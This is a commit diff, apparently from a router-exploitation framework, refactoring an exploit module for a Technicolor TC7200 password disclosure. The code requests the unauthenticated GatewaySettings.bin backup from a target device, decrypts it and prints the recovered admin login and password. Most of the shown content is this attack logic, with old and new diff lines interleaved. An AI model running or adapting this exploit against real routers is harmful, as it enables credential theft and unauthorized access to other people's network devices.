Commit 02856b3f by Laurent Meirlaen

TC7200 password disclosure v2 : minor refactor

parent bad86479
......@@ -38,25 +38,23 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port')
def run(self):
url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
if self.check():
print_success("Target is vulnerable")
response = http_request(method="GET", url=url)
if response is None:
return
url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response.status_code == 200 and "MLog" in response.text:
print_status("Reading GatewaySettings.bin...")
if response is not None and response.status_code == 200 and "MLog" in response.text:
print_status("Reading GatewaySettings.bin...")
plain = self.decrypt_backup(response.text)
(name, pwd) = self.parseBackup(plain)
plain = self.decrypt_backup(response.text)
name, pwd = self.parse_backup(plain)
if len(name) or len(pwd):
print_success('Exploit success! login: {}, password: {}'.format(name, pwd))
else:
print_error('Exploit failed. Unable to decrypt config file.')
print_error("Exploit failed. Could not extract config file.")
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
print_error("Target is not vulnerable")
@staticmethod
def parse_backup(backup):
p = backup.find('MLog')
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment